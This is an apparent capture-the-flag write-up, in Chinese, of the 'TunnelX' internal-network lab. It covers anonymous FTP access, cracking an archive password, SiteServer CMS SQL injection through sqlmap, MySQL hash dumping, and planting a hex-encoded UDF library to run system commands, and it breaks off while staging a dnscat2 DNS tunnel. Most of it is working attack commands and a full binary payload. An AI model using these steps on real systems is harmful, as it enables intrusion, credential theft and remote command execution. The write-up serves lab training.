文章

TunnelX - 春秋云境

image.png

靶标介绍:

在 “TunnelX” 靶场中,模拟了一个封闭的内网环境,完成该挑战可以帮助玩家了解内网渗透中不出网环境下的代理转发、内网扫描、信息收集、kerberos 协议以及横向移动技术方法,加强对域环境核心认证机制的理解,并学习如何利用不同技术组合来实现横向移动和攻击内部系统。该靶场共有 4 个 flag,分布于不同的靶机。

内网地址Host or FQDN简要描述
172.22.61.41MYSQLMYSQL 数据库
172.22.61.50WEB.xiaorang.labWEB 服务器
172.22.61.34WIN2012.xiaorang.lab开启了 WinRM 服务的主机
172.22.61.17DC.xiaorang.lab域控制器

第 1 关

关卡剧情:

请测试暴露在公网上的 Web 应用的安全性,并尝试获取目标数据库权限。


nmap 扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
root@kali-server:~# nmap --reason -p- --min-rate 10000 -oN nmap.txt xx.xx.xx.xx

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-24 11:22 CST
Warning: xx.xx.xx.xx giving up on port because retransmission cap hit (10).
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 31.06% done; ETC: 11:22 (0:00:16 remaining)
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 35.08% done; ETC: 11:22 (0:00:15 remaining)
Nmap scan report for xx.xx.xx.xx
Host is up, received reset ttl 248 (0.049s latency).
Not shown: 64664 closed ports, 855 filtered ports
Reason: 64664 resets and 855 no-responses
PORT      STATE SERVICE       REASON
80/tcp    open  http          syn-ack ttl 248
135/tcp   open  msrpc         syn-ack ttl 248
139/tcp   open  netbios-ssn   syn-ack ttl 248
445/tcp   open  microsoft-ds  syn-ack ttl 248
2121/tcp  open  ccproxy-ftp   syn-ack ttl 248
3389/tcp  open  ms-wbt-server syn-ack ttl 248
15774/tcp open  unknown       syn-ack ttl 248
47001/tcp open  winrm         syn-ack ttl 248
49664/tcp open  unknown       syn-ack ttl 248
49665/tcp open  unknown       syn-ack ttl 248
49666/tcp open  unknown       syn-ack ttl 248
49667/tcp open  unknown       syn-ack ttl 248
49668/tcp open  unknown       syn-ack ttl 248
49670/tcp open  unknown       syn-ack ttl 248
49675/tcp open  unknown       syn-ack ttl 248
49677/tcp open  unknown       syn-ack ttl 248

Nmap done: 1 IP address (1 host up) scanned in 35.47 seconds

root@kali-server:~# grep 'open' nmap.txt | awk -F '/' '{print $1}' | paste -sd ','
80,135,139,445,2121,3389,15774,47001,49664,49665,49666,49667,49668,49670,49675,49677

root@kali-server:~# nmap -p 80,135,139,445,2121,3389,15774,47001,49664,49665,49666,49667,49668,49670,49675,49677 -sCV -oN nmap2.txt xx.xx.xx.xx

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-24 11:33 CST
Nmap scan report for xx.xx.xx.xx
Host is up (0.046s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Zosimos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
2121/tcp  open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.22.61.50 is not the same as xx.xx.xx.xx
| ftp-syst:
|_  SYST: Windows_NT
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Web.xiaorang.lab
| Not valid before: 2023-09-11T06:56:10
|_Not valid after:  2024-03-12T06:56:10
|_ssl-date: 2023-10-24T03:34:51+00:00; 0s from scanner time.
15774/tcp open  unknown
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-10-24 11:34:54
|_  start_date: 2023-10-24 11:16:11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.50 seconds

2121 端口存在 FTP 匿名访问:

image.png

从服务器下载的 secret.7z 有解压密码,使用 7z2john 将密码转换成 john 支持的格式再进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali-server:~# 7z2john secret.7z > crack.txt
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes

root@kali-server:~# cat crack.txt
secret.7z:$7z$1$19$0$$16$dcfbf0db0c032c111cd5e48ccde9d906$3636571473$112$104$0e7e9b93a02117462ceefd2fe0508c06f76f83d929037987e04b4191207d74536bb3caa56fa9ca9dca248d31a7d6557dafaf95f3185bf6bc62f7aec434fe3b2cad6dedfd4a3cde3cfa8d482db860629d55a966af5bf0afacbc280f6dd63072f48a82ce16847fdbcb4275485558532897$105$5d00004000

root@kali-server:~# john -wordlist=/usr/share/wordlists/rockyou.txt crack.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 1 for all loaded hashes
Cost 4 (data length) is 104 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
13131313         (secret.7z)
1g 0:00:00:24 DONE (2023-10-24 11:51) 0.04019g/s 282.9p/s 282.9c/s 282.9C/s bethan..bagpuss
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

解压后获取到的 secret.txt 内容如下:

1
2
A strange character string, You're the only one I'm telling
e7d41890-5742-48f0-9f3c-1393db541fc7

这是 SiteServer 中用于身份认证的 API 密钥,在 HTTP 请求头中添加即可访问到后台:

1
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7

image.png

SiteServer CMS 6.15.51 后台存在 SQL 注入:

1
2
3
4
5
6
7
8
9
10
11
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 60
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7

{"siteId":1,"keyword":"*","groupId":0,"page":1,"perPage":24}

使用 sqlmap 获取数据库权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@kali-server:~# sqlmap -r rawhttp.txt --dbms=mysql --batch --sql-shell --fresh-queries
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.8#stable}
|_ -| . ["]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:02:29 /2023-10-24/

[15:02:29] [INFO] parsing HTTP request from 'rawhttp.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[15:02:30] [INFO] resuming back-end DBMS 'mysql'
[15:02:30] [INFO] testing connection to the target URL
[15:02:30] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: {"siteId":1,"keyword":"'  AND GTID_SUBSET(CONCAT(0x717a716b71,(SELECT (ELT(1410=1410,1))),0x7170627671),1410)-- uUzU","groupId":0,"page":1,"perPage":24}

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: {"siteId":1,"keyword":"' ;SELECT SLEEP(5)#","groupId":0,"page":1,"perPage":24}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"siteId":1,"keyword":"'  AND (SELECT 9387 FROM (SELECT(SLEEP(5)))UFRh)-- cHRb","groupId":0,"page":1,"perPage":24}
---
[15:02:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 11 or 10 or 2019 or 2016 or 2022
web application technology: ASP.NET, Microsoft IIS 10.0
back-end DBMS: MySQL 5
[15:02:30] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

尝试获取数据库的一些信息,如 mysql 插件路径等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
sql-shell> select @@hostname;
[21:30:42] [INFO] fetching SQL SELECT statement query output: 'select @@hostname'
[21:30:42] [INFO] retrieved: 'MYSQL'
select @@hostname: 'MYSQL'
sql-shell> select user();
[15:05:09] [INFO] fetching SQL SELECT statement query output: 'select user()'
[15:05:09] [INFO] retrieved: 'root@172.22.61.50'
select user(): 'root@172.22.61.50'
sql-shell> select database();
[15:05:22] [INFO] fetching SQL SELECT statement query output: 'select DATABASE()'
[15:05:23] [INFO] retrieved: 'sscms'
select DATABASE(): 'sscms'
sql-shell> select @@version;
[15:06:03] [INFO] fetching SQL SELECT statement query output: 'select @@version'
[15:06:03] [INFO] retrieved: '5.6.48'
select @@version: '5.6.48'
sql-shell> select @@datadir;
[15:05:59] [INFO] fetching SQL SELECT statement query output: 'select @@datadir'
[15:05:59] [INFO] resumed: '/var/lib/mysql/'
select @@datadir: '/var/lib/mysql/'
sql-shell> SELECT @@plugin_dir;
[11:43:57] [INFO] fetching SQL SELECT statement query output: 'SELECT @@plugin_dir'
[11:43:57] [INFO] resumed: '/usr/lib/mysql/plugin/'
SELECT @@plugin_dir: '/usr/lib/mysql/plugin/'
sql-shell> select host, user, password from mysql.user;
[21:12:16] [INFO] fetching SQL SELECT statement query output: 'select host, user, password from mysql.user'
[21:12:16] [INFO] retrieved: '%'
[21:12:16] [INFO] retrieved: 'root'
[21:12:16] [INFO] retrieved: '*90347F2813C3937AC3FE1C47B319F7EE8775DD1F'
[21:12:16] [INFO] retrieved: '127.0.0.1'
[21:12:16] [INFO] retrieved: 'root'
[21:12:16] [INFO] retrieved: '*90347F2813C3937AC3FE1C47B319F7EE8775DD1F'
[21:12:16] [INFO] retrieved: '::1'
[21:12:16] [INFO] retrieved: 'root'
[21:12:16] [INFO] retrieved: '*90347F2813C3937AC3FE1C47B319F7EE8775DD1F'
[21:12:17] [INFO] retrieved: 'mysql'
[21:12:17] [INFO] retrieved: 'root'
[21:12:17] [INFO] retrieved: '*90347F2813C3937AC3FE1C47B319F7EE8775DD1F'
select host, user, password from mysql.user [4]:
[*] %, root, *90347F2813C3937AC3FE1C47B319F7EE8775DD1F
[*] 127.0.0.1, root, *90347F2813C3937AC3FE1C47B319F7EE8775DD1F
[*] ::1, root, *90347F2813C3937AC3FE1C47B319F7EE8775DD1F
[*] mysql, root, *90347F2813C3937AC3FE1C47B319F7EE8775DD1F
sql-shell> select load_file('/etc/hosts');
[21:33:13] [INFO] fetching SQL SELECT statement query output: 'select load_file('/etc/hosts')'
[21:33:13] [INFO] retrieved: '127.0.0.1\\tlocalhost\\n\\n# The following lines are desirable for IPv6 capable hosts\...
select load_file('/etc/hosts'): '127.0.0.1\\tlocalhost\\n\\n# The following lines are desirable for IPv6 capable hosts\\n::1\\tlocalhost\\tip6-localhost\\tip6-loopback\\nff02::1\\tip6-allnodes\\nff02::2\\tip6-allrouters\\n\\n\\n172.22.61.41\\tMYSQL\\tMYSQL\\n\\n'

可以使用在线网站将文件转 Hex 字符串,再在 sql-shell 中执行如下语句,使用 SELECT 查询 16 进制写入 udf.so 到 mysql 插件所在路径:

1
sql-shell> SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

创建自定义函数 sys_eval 并调用该函数执行系统命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sql-shell> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
[15:39:07] [INFO] executing SQL data definition statement: 'CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so''
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so': 'NULL'
sql-shell> select * from mysql.func;
[15:39:17] [INFO] fetching SQL SELECT statement query output: 'select * from mysql.func'
[15:39:17] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[15:39:17] [INFO] fetching columns for table 'func' in database 'mysql'
[15:39:17] [INFO] retrieved: 'name'
[15:39:17] [INFO] retrieved: 'char(64)'
[15:39:17] [INFO] retrieved: 'ret'
[15:39:17] [INFO] retrieved: 'tinyint(1)'
[15:39:17] [INFO] retrieved: 'dl'
[15:39:17] [INFO] retrieved: 'char(128)'
[15:39:17] [INFO] retrieved: 'type'
[15:39:17] [INFO] retrieved: 'enum('function','aggregate')'
[15:39:17] [INFO] the query with expanded column name(s) is: SELECT `name`, `type`, dl, ret FROM mysql.func
[15:39:18] [INFO] retrieved: 'sys_eval'
[15:39:18] [INFO] retrieved: 'function'
[15:39:18] [INFO] retrieved: 'udf.so'
[15:39:18] [INFO] retrieved: '0'
select * from mysql.func: 'sys_eval'
sql-shell> select sys_eval('whoami');
[15:40:07] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('whoami')'
[15:40:07] [INFO] resumed: 'mysql'
select sys_eval('whoami'): 'mysql'

注 1:调用命令时回显较慢,可以使用 --threads=10 参数开启多线程。

注 2:可以使用 --fresh-queries 参数忽略存储在会话文件中的查询结果,重新进行查询。

1
sqlmap -r rawhttp.txt --dbms=mysql --batch --sql-shell --fresh-queries --threads=10

第 2 关

关卡剧情:

由于处于一个封闭的内网环境。搭建好特定的隧道,对目标内网展开信息收集。


利用 CEYE 探测到目标主机 DNS 协议出网,HTTP 协议不出网:

1
sql-shell> select sys_eval('curl xxx.ceye.io');

准备搭建 DNS 隧道。下载已经编译好的 dnscat2-v0.07-client-x64.tar.bz2 客户端并转换成 16 进制,再在 sql-shell 中使用 SELECT 查询 16 进制值将文件写入到目标主机中:

1
